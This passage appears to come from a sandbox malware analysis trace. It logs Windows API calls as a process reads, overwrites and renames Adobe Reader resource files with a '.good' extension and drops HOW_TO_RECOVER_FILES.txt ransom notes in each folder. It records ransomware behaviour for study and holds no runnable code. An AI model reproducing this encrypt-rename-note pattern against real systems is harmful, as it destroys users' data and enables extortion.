DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x95 [0251.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0251.362] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.363] GetFileType (hFile=0x808) returned 0x1 [0251.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0251.363] GetFileType (hFile=0x808) returned 0x1 [0251.363] WriteFile (in: hFile=0x808, lpBuffer=0x391b430*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x391b430*, lpNumberOfBytesWritten=0x208ebea8*=0x190, lpOverlapped=0x0) returned 1 [0251.363] CloseHandle (hObject=0x808) returned 1 [0251.363] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png", lpFilePart=0x0) returned 0x95 [0251.363] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png.gоod", lpFilePart=0x0) returned 0x9a [0251.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0251.364] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9208e7a8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x190)) returned 1 [0251.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0251.364] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover.png.gоod")) returned 1 [0251.365] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x98 [0251.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0251.365] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x391c8a0 | out: lpFileInformation=0x391c8a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf024cb1c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0251.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0251.366] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x98 [0251.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0251.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.366] GetFileType (hFile=0x808) returned 0x1 [0251.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0251.366] GetFileType (hFile=0x808) returned 0x1 [0251.366] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x228 [0251.366] ReadFile (in: hFile=0x808, lpBuffer=0x391cef0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x391cef0*, lpNumberOfBytesRead=0x208ebf98*=0x228, lpOverlapped=0x0) returned 1 [0251.366] CloseHandle (hObject=0x808) returned 1 [0251.483] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0253.607] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x98 [0253.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0253.607] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0253.608] GetFileType (hFile=0x824) returned 0x1 [0253.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0253.608] GetFileType (hFile=0x824) returned 0x1 [0253.608] WriteFile (in: hFile=0x824, lpBuffer=0x39f7850*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x39f7850*, lpNumberOfBytesWritten=0x208ebea8*=0x230, lpOverlapped=0x0) returned 1 [0253.608] CloseHandle (hObject=0x824) returned 1 [0253.608] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x98 [0253.608] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.gоod", lpFilePart=0x0) returned 0x9d [0253.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0253.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf024cb1c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf024cb1c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x93603a76, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0253.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0253.609] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.gоod")) returned 1 [0253.610] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x95 [0253.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0253.610] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\dark\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0253.611] GetFileType (hFile=0x824) returned 0x1 [0253.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0253.611] GetFileType (hFile=0x824) returned 0x1 [0253.611] WriteFile (in: hFile=0x824, lpBuffer=0x39fb1e8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x39fb1e8*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0253.612] CloseHandle (hObject=0x824) returned 1 [0253.612] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ec6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0253.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ecc00) returned 1 [0253.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\themes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0253.612] GetFileType (hFile=0x824) returned 0x1 [0253.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ecb70) returned 1 [0253.613] GetFileType (hFile=0x824) returned 0x1 [0253.613] WriteFile (in: hFile=0x824, lpBuffer=0x39feb80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208eccc8, lpOverlapped=0x0 | out: lpBuffer=0x39feb80*, lpNumberOfBytesWritten=0x208eccc8*=0x5d0, lpOverlapped=0x0) returned 1 [0253.614] CloseHandle (hObject=0x824) returned 1 [0253.614] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x89 [0253.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed630) returned 1 [0253.614] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\images\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\images\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0253.615] GetFileType (hFile=0x824) returned 0x1 [0253.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5a0) returned 1 [0253.615] GetFileType (hFile=0x824) returned 0x1 [0253.616] WriteFile (in: hFile=0x824, lpBuffer=0x3a025a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ed6f8, lpOverlapped=0x0 | out: lpBuffer=0x3a025a8*, lpNumberOfBytesWritten=0x208ed6f8*=0x5d0, lpOverlapped=0x0) returned 1 [0253.616] CloseHandle (hObject=0x824) returned 1 [0253.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0253.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js", lpFilePart=0x0) returned 0x6c [0253.616] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0253.617] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.911] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0253.912] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0253.912] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0253.912] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0253.912] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0253.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0253.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0253.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0253.912] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js", lpFilePart=0x0) returned 0x6c [0253.912] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\*", lpFindFileData=0x208ed3e0 | out: lpFindFileData=0x208ed3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0253.913] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.913] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0253.913] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0253.913] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0253.913] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x208ed3a0 | out: lpFindFileData=0x208ed3a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0253.914] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0253.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed600) returned 1 [0253.914] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5c0) returned 1 [0253.914] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js", lpFilePart=0x0) returned 0x76 [0253.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0253.914] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js"), fInfoLevelId=0x0, lpFileInformation=0x3b99e00 | out: lpFileInformation=0x3b99e00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x399)) returned 1 [0253.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0253.915] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\plugin.js", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 